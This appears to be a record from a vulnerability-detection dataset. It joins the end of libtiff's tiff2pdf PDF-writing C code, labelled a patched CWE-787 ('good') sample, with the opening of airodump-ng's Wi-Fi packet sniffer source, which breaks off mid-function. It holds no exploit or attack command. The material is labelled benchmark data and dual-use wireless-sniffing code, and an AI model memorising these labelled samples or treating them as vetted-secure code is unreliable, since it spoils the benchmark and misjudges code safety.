t2p_write_pdf_xobject_icccs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "[/ICCBased ", 11); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_icccs); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R] \n", 7); return(written); } tsize_t t2p_write_pdf_xobject_icccs_dict(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "/N ", 3); buflen=snprintf(buffer, sizeof(buffer), "%u \n", t2p->tiff_samplesperpixel); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Alternate ", 11); t2p->pdf_colorspace ^= T2P_CS_ICCBASED; written += t2p_write_pdf_xobject_cs(t2p, output); t2p->pdf_colorspace |= T2P_CS_ICCBASED; written += t2p_write_pdf_stream_dict(t2p->tiff_iccprofilelength, 0, output); return(written); } tsize_t t2p_write_pdf_xobject_icccs_stream(T2P* t2p, TIFF* output){ tsize_t written=0; written += t2p_write_pdf_stream( (tdata_t) t2p->tiff_iccprofile, (tsize_t) t2p->tiff_iccprofilelength, output); return(written); } /* This function writes a palette stream for an indexed color space to output. */ tsize_t t2p_write_pdf_xobject_palettecs_stream(T2P* t2p, TIFF* output){ tsize_t written=0; written += t2p_write_pdf_stream( (tdata_t) t2p->pdf_palette, (tsize_t) t2p->pdf_palettesize, output); return(written); } /* This function writes a PDF Image XObject Decode array to output. */ tsize_t t2p_write_pdf_xobject_decode(T2P* t2p, TIFF* output){ tsize_t written=0; int i=0; written += t2pWriteFile(output, (tdata_t) "/Decode [ ", 10); for (i=0;i<t2p->tiff_samplesperpixel;i++){ written += t2pWriteFile(output, (tdata_t) "1 0 ", 4); } written += t2pWriteFile(output, (tdata_t) "]\n", 2); return(written); } /* This function writes a PDF Image XObject stream filter name and parameters to output. */ tsize_t t2p_write_pdf_xobject_stream_filter(ttile_t tile, T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; if(t2p->pdf_compression==T2P_COMPRESS_NONE){ return(written); } written += t2pWriteFile(output, (tdata_t) "/Filter ", 8); switch(t2p->pdf_compression){ #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: written += t2pWriteFile(output, (tdata_t) "/CCITTFaxDecode ", 16); written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /K -1 ", 9); if(tile==0){ written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_length); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)==0){ written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)==0){ written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } } if(t2p->pdf_switchdecode == 0){ written += t2pWriteFile(output, (tdata_t) " /BlackIs1 true ", 16); } written += t2pWriteFile(output, (tdata_t) ">>\n", 3); break; #endif #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: written += t2pWriteFile(output, (tdata_t) "/DCTDecode ", 11); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR) { written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /ColorTransform 1 >>\n", 24); } break; #endif #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: written += t2pWriteFile(output, (tdata_t) "/FlateDecode ", 13); if(t2p->pdf_compressionquality%100){ written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /Predictor ", 14); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_compressionquality%100); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Columns ", 10); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Colors ", 9); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_samplesperpixel); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /BitsPerComponent ", 19); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_bitspersample); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } break; #endif default: break; } return(written); } /* This function writes a PDF xref table to output. */ tsize_t t2p_write_pdf_xreftable(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[64]; int buflen=0; uint32 i=0; written += t2pWriteFile(output, (tdata_t) "xref\n0 ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " \n0000000000 65535 f \n", 22); for (i=0;i<t2p->pdf_xrefcount;i++){ snprintf(buffer, sizeof(buffer), "%.10lu 00000 n \n", (unsigned long)t2p->pdf_xrefoffsets[i]); written += t2pWriteFile(output, (tdata_t) buffer, 20); } return(written); } /* * This function writes a PDF trailer to output. */ tsize_t t2p_write_pdf_trailer(T2P* t2p, TIFF* output) { tsize_t written = 0; char buffer[32]; int buflen = 0; size_t i = 0; for (i = 0; i < sizeof(t2p->pdf_fileid) - 8; i += 8) snprintf(t2p->pdf_fileid + i, 9, "%.8X", rand()); written += t2pWriteFile(output, (tdata_t) "trailer\n<<\n/Size ", 17); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount+1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/Root ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_catalog); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n/Info ", 12); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_info); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n/ID[<", 11); written += t2pWriteFile(output, (tdata_t) t2p->pdf_fileid, sizeof(t2p->pdf_fileid) - 1); written += t2pWriteFile(output, (tdata_t) "><", 2); written += t2pWriteFile(output, (tdata_t) t2p->pdf_fileid, sizeof(t2p->pdf_fileid) - 1); written += t2pWriteFile(output, (tdata_t) ">]\n>>\nstartxref\n", 16); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_startxref); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n%%EOF\n", 7); return(written); } /* This function writes a PDF to a file given a pointer to a TIFF. The idea with using a TIFF* as output for a PDF file is that the file can be created with TIFFClientOpen for memory-mapped use within the TIFF library, and TIFFWriteEncodedStrip can be used to write compressed data to the output. The output is not actually a TIFF file, it is a PDF file. This function uses only t2pWriteFile and TIFFWriteEncodedStrip to write to the output TIFF file. When libtiff would otherwise be writing data to the output file, the write procedure of the TIFF structure is replaced with an empty implementation. The first argument to the function is an initialized and validated T2P context struct pointer. The second argument to the function is the TIFF* that is the input that has been opened for reading and no other functions have been called upon it. The third argument to the function is the TIFF* that is the output that has been opened for writing. It has to be opened so that it hasn't written any data to the output. If the output is seekable then it's OK to seek to the beginning of the file. The function only writes to the output PDF and does not seek. See the example usage in the main() function. TIFF* output = TIFFOpen("output.pdf", "w"); assert(output != NULL); if(output->tif_seekproc != NULL){ t2pSeekFile(output, (toff_t) 0, SEEK_SET); } This function returns the file size of the output PDF file. On error it returns zero and the t2p->t2p_error variable is set to T2P_ERR_ERROR. After this function completes, call t2p_free on t2p, TIFFClose on input, and TIFFClose on output. */ tsize_t t2p_write_pdf(T2P* t2p, TIFF* input, TIFF* output){ tsize_t written=0; ttile_t i2=0; tsize_t streamlen=0; uint16 i=0; t2p_read_tiff_init(t2p, input); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} t2p->pdf_xrefoffsets= (uint32*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_xrefcount,sizeof(uint32)) ); if(t2p->pdf_xrefoffsets==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_write_pdf", (unsigned int) (t2p->pdf_xrefcount * sizeof(uint32)) ); t2p->t2p_error = T2P_ERR_ERROR; return(written); } t2p->pdf_xrefcount=0; t2p->pdf_catalog=1; t2p->pdf_info=2; t2p->pdf_pages=3; written += t2p_write_pdf_header(t2p, output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_catalog=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_catalog(t2p, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_info=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_info(t2p, input, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_pages=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_pages(t2p, output); written += t2p_write_pdf_obj_end(output); for(t2p->pdf_page=0;t2p->pdf_page<t2p->tiff_pagecount;t2p->pdf_page++){ t2p_read_tiff_data(t2p, input); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_page(t2p->pdf_xrefcount, t2p, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_stream_dict(0, t2p->pdf_xrefcount+1, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; written += t2p_write_pdf_page_content_stream(t2p, output); streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); if(t2p->tiff_transferfunctioncount != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_transfer(t2p, output); written += t2p_write_pdf_obj_end(output); for(i=0; i < t2p->tiff_transferfunctioncount; i++){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_transfer_dict(t2p, output, i); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_transfer_stream(t2p, output, i); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } } if( (t2p->pdf_colorspace & T2P_CS_PALETTE) != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_palettecs=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_stream_dict(t2p->pdf_palettesize, 0, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_xobject_palettecs_stream(t2p, output); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } if( (t2p->pdf_colorspace & T2P_CS_ICCBASED) != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_icccs=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_icccs_dict(t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_xobject_icccs_stream(t2p, output); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } if(t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount !=0){ for(i2=0;i2<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount;i2++){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_stream_dict( i2+1, t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; t2p_read_tiff_size_tile(t2p, input, i2); written += t2p_readwrite_pdf_image_tile(t2p, input, output, i2); t2p_write_advance_directory(t2p, output); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); } } else { t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_stream_dict( 0, t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; t2p_read_tiff_size(t2p, input); written += t2p_readwrite_pdf_image(t2p, input, output); t2p_write_advance_directory(t2p, output); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); } } t2p->pdf_startxref = written; written += t2p_write_pdf_xreftable(t2p, output); written += t2p_write_pdf_trailer(t2p, output); t2p_disable(output); return(written); } /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/good_5474_3
crossvul-cpp_data_good_2311_0
/* * pcap-compatible 802.11 packet sniffer * * Copyright (C) 2006-2013 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <sys/time.h> #ifndef TIOCGWINSZ #include <sys/termios.h> #endif #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <signal.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <ctype.h> #include <errno.h> #include <time.h> #include <getopt.h> #include <fcntl.h> #include <pthread.h> #include <termios.h> #include <sys/wait.h> #ifdef HAVE_PCRE #include <pcre.h> #endif #include "version.h" #include "pcap.h" #include "uniqueiv.h" #include "crypto.h" #include "osdep/osdep.h" #include "airodump-ng.h" #include "osdep/common.h" #include "common.h" #ifdef USE_GCRYPT GCRY_THREAD_OPTION_PTHREAD_IMPL; #endif void dump_sort( void ); void dump_print( int ws_row, int ws_col, int if_num ); char * get_manufacturer_from_string(char * buffer) { char * manuf = NULL; char * buffer_manuf; if (buffer != NULL && strlen(buffer) > 0) { buffer_manuf = strstr(buffer, "(hex)"); if (buffer_manuf != NULL) { buffer_manuf += 6; // skip '(hex)' and one more character (there's at least one 'space' character after that string) while (*buffer_manuf == '\t' || *buffer_manuf == ' ') { ++buffer_manuf; } // Did we stop at the manufacturer if (*buffer_manuf != '\0') { // First make sure there's no end of line if (buffer_manuf[strlen(buffer_manuf) - 1] == '\n' || buffer_manuf[strlen(buffer_manuf) - 1] == '\r') { buffer_manuf[strlen(buffer_manuf) - 1] = '\0'; if (*buffer_manuf != '\0' && (buffer_manuf[strlen(buffer_manuf) - 1] == '\n' || buffer[strlen(buffer_manuf) - 1] == '\r')) { buffer_manuf[strlen(buffer_manuf) - 1] = '\0'; } } if (*buffer_manuf != '\0') { if ((manuf = (char *)malloc((strlen(buffer_manuf) + 1) * sizeof(char))) == NULL) { perror("malloc failed"); return NULL; } snprintf(manuf, strlen(buffer_manuf) + 1, "%s", buffer_manuf); } } } } return manuf; } void textcolor(int attr, int fg, int bg) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "%c[%d;%d;%dm", 0x1B, attr, fg + 30, bg + 40); fprintf(stderr, "%s", command); fflush(stderr); } void textcolor_fg(int fg) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "\033[%dm", fg + 30); fprintf(stderr, "%s", command); fflush(stderr); } void textcolor_bg(int bg) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "\033[%dm", bg + 40); fprintf(stderr, "%s", command); fflush(stderr); } void textstyle(int attr) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "\033[%im", attr); fprintf(stderr, "%s", command); fflush(stderr); } void reset_term() { struct termios oldt, newt; tcgetattr( STDIN_FILENO, &oldt ); newt = oldt; newt.c_lflag |= ( ICANON | ECHO ); tcsetattr( STDIN_FILENO, TCSANOW, &newt ); } int mygetch( ) { struct termios oldt, newt; int ch; tcgetattr( STDIN_FILENO, &oldt ); newt = oldt; newt.c_lflag &= ~( ICANON | ECHO ); tcsetattr( STDIN_FILENO, TCSANOW, &newt ); ch = getchar(); tcsetattr( STDIN_FILENO, TCSANOW, &oldt ); return ch; } void resetSelection() { G.sort_by = SORT_BY_POWER; G.sort_inv = 1; G.start_print_ap=1; G.start_print_sta=1; G.selected_ap=1; G.selected_sta=1; G.selection_ap=0; G.selection_sta=0; G.mark_cur_ap=0; G.skip_columns=0; G.do_pause=0; G.do_sort_always=0; memset(G.selected_bssid, '\x00', 6); } #define KEY_TAB 0x09 //switch between APs/clients for scrolling #define KEY_SPACE 0x20 //pause/resume output #define KEY_ARROW_UP 0x41 //scroll #define KEY_ARROW_DOWN 0x42 //scroll #define KEY_ARROW_RIGHT 0x43 //scroll #define KEY_ARROW_LEFT 0x44 //scroll #define KEY_a 0x61 //cycle through active information (ap/sta/ap+sta/ap+sta+ack) #define KEY_c 0x63 //cycle through channels #define KEY_d 0x64 //default mode #define KEY_i 0x69 //inverse sorting #define KEY_m 0x6D //mark current AP #define KEY_n 0x6E //? #define KEY_r 0x72 //realtime sort (de)activate #define KEY_s 0x73 //cycle through sorting void input_thread( void *arg) { if(!arg){} while( G.do_exit == 0 ) { int keycode=0; keycode=mygetch(); if(keycode == KEY_s) { G.sort_by++; G.selection_ap = 0; G.selection_sta = 0; if(G.sort_by > MAX_SORT) G.sort_by = 0; switch(G.sort_by) { case SORT_BY_NOTHING: snprintf(G.message, sizeof(G.message), "][ sorting by first seen"); break; case SORT_BY_BSSID: snprintf(G.message, sizeof(G.message), "][ sorting by bssid"); break; case SORT_BY_POWER: snprintf(G.message, sizeof(G.message), "][ sorting by power level"); break; case SORT_BY_BEACON: snprintf(G.message, sizeof(G.message), "][ sorting by beacon number"); break; case SORT_BY_DATA: snprintf(G.message, sizeof(G.message), "][ sorting by number of data packets"); break; case SORT_BY_PRATE: snprintf(G.message, sizeof(G.message), "][ sorting by packet rate"); break; case SORT_BY_CHAN: snprintf(G.message, sizeof(G.message), "][ sorting by channel"); break; case SORT_BY_MBIT: snprintf(G.message, sizeof(G.message), "][ sorting by max data rate"); break; case SORT_BY_ENC: snprintf(G.message, sizeof(G.message), "][ sorting by encryption"); break; case SORT_BY_CIPHER: snprintf(G.message, sizeof(G.message), "][ sorting by cipher"); break; case SORT_BY_AUTH: snprintf(G.message, sizeof(G.message), "][ sorting by authentication"); break; case SORT_BY_ESSID: snprintf(G.message, sizeof(G.message), "][ sorting by ESSID"); break; default: break; } pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } if(keycode == KEY_SPACE) { G.do_pause = (G.do_pause+1)%2; if(G.do_pause) { snprintf(G.message, sizeof(G.message), "][ paused output"); pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush(stderr); pthread_mutex_unlock( &(G.mx_print) ); } else snprintf(G.message, sizeof(G.message), "][ resumed output"); } if(keycode == KEY_r) { G.do_sort_always = (G.do_sort_always+1)%2; if(G.do_sort_always) snprintf(G.message, sizeof(G.message), "][ realtime sorting activated"); else snprintf(G.message, sizeof(G.message), "][ realtime sorting deactivated"); } if(keycode == KEY_m) { G.mark_cur_ap = 1; } if(keycode == KEY_ARROW_DOWN) { if(G.selection_ap == 1) { G.selected_ap++; } if(G.selection_sta == 1) { G.selected_sta++; } } if(keycode == KEY_ARROW_UP) { if(G.selection_ap == 1) { G.selected_ap--; if(G.selected_ap < 1) G.selected_ap = 1; } if(G.selection_sta == 1) { G.selected_sta--; if(G.selected_sta < 1) G.selected_sta = 1; } } if(keycode == KEY_i) { G.sort_inv*=-1; if(G.sort_inv < 0) snprintf(G.message, sizeof(G.message), "][ inverted sorting order"); else snprintf(G.message, sizeof(G.message), "][ normal sorting order"); } if(keycode == KEY_TAB) { if(G.selection_ap == 0) { G.selection_ap = 1; G.selected_ap = 1; snprintf(G.message, sizeof(G.message), "][ enabled AP selection"); G.sort_by = SORT_BY_NOTHING; } else if(G.selection_ap == 1) { G.selection_ap = 0; G.sort_by = SORT_BY_NOTHING; snprintf(G.message, sizeof(G.message), "][ disabled selection"); } } if(keycode == KEY_a) { if(G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 0) { G.show_ap = 1; G.show_sta = 1; G.show_ack = 1; snprintf(G.message, sizeof(G.message), "][ display ap+sta+ack"); } else if(G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 1) { G.show_ap = 1; G.show_sta = 0; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display ap only"); } else if(G.show_ap == 1 && G.show_sta == 0 && G.show_ack == 0) { G.show_ap = 0; G.show_sta = 1; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display sta only"); } else if(G.show_ap == 0 && G.show_sta == 1 && G.show_ack == 0) { G.show_ap = 1; G.show_sta = 1; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display ap+sta"); } } if (keycode == KEY_d) { resetSelection(); snprintf(G.message, sizeof(G.message), "][ reset selection to default"); } if(G.do_exit == 0 && !G.do_pause) { pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush(stderr); pthread_mutex_unlock( &(G.mx_print) ); } } } void trim(char *str) { int i; int begin = 0; int end = strlen(str) - 1; while (isspace((int)str[begin])) begin++; while ((end >= begin) && isspace((int)str[end])) end--; // Shift all characters back to the start of the string array. for (i = begin; i <= end; i++) str[i - begin] = str[i]; str[i - begin] = '\0'; // Null terminate string. } struct oui * load_oui_file(void) { FILE *fp; char * manuf; char buffer[BUFSIZ]; unsigned char a[2]; unsigned char b[2]; unsigned char c[2]; struct oui *oui_ptr = NULL, *oui_head = NULL; if (!(fp = fopen(OUI_PATH0, "r"))) { if (!(fp = fopen(OUI_PATH1, "r"))) { if (!(fp = fopen(OUI_PATH2, "r"))) { if (!(fp = fopen(OUI_PATH3, "r"))) { return NULL; } } } } memset(buffer, 0x00, sizeof(buffer)); while (fgets(buffer, sizeof(buffer), fp) != NULL) { if (!(strstr(buffer, "(hex)"))) continue; memset(a, 0x00, sizeof(a)); memset(b, 0x00, sizeof(b)); memset(c, 0x00, sizeof(c)); // Remove leading/trailing whitespaces. trim(buffer); if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3) { if (oui_ptr == NULL) { if (!(oui_ptr = (struct oui *)malloc(sizeof(struct oui)))) { fclose(fp); perror("malloc failed"); return NULL; } } else { if (!(oui_ptr->next = (struct oui *)malloc(sizeof(struct oui)))) { fclose(fp); perror("malloc failed"); return NULL; } oui_ptr = oui_ptr->next; } memset(oui_ptr->id, 0x00, sizeof(oui_ptr->id)); memset(oui_ptr->manuf, 0x00, sizeof(oui_ptr->manuf)); snprintf(oui_ptr->id, sizeof(oui_ptr->id), "%c%c:%c%c:%c%c", a[0], a[1], b[0], b[1], c[0], c[1]); manuf = get_manufacturer_from_string(buffer); if (manuf != NULL) { snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "%s", manuf); free(manuf); } else { snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "Unknown"); } if (oui_head == NULL) oui_head = oui_ptr; oui_ptr->next = NULL; } } fclose(fp); return oui_head; } int check_shared_key(unsigned char *h80211, int caplen) { int m_bmac, m_smac, m_dmac, n, textlen; char ofn[1024]; char text[4096]; char prga[4096]; unsigned int long crc; if((unsigned)caplen > sizeof(G.sharedkey[0])) return 1; m_bmac = 16; m_smac = 10; m_dmac = 4; if( time(NULL) - G.sk_start > 5) { /* timeout(5sec) - remove all packets, restart timer */ memset(G.sharedkey, '\x00', 4096*3); G.sk_start = time(NULL); } /* is auth packet */ if( (h80211[1] & 0x40) != 0x40 ) { /* not encrypted */ if( ( h80211[24] + (h80211[25] << 8) ) == 1 ) { /* Shared-Key Authentication */ if( ( h80211[26] + (h80211[27] << 8) ) == 2 ) { /* sequence == 2 */ memcpy(G.sharedkey[0], h80211, caplen); G.sk_len = caplen-24; } if( ( h80211[26] + (h80211[27] << 8) ) == 4 ) { /* sequence == 4 */ memcpy(G.sharedkey[2], h80211, caplen); } } else return 1; } else { /* encrypted */ memcpy(G.sharedkey[1], h80211, caplen); G.sk_len2 = caplen-24-4; } /* check if the 3 packets form a proper authentication */ if( ( memcmp(G.sharedkey[0]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(G.sharedkey[1]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(G.sharedkey[2]+m_bmac, NULL_MAC, 6) == 0 ) ) /* some bssids == zero */ { return 1; } if( ( 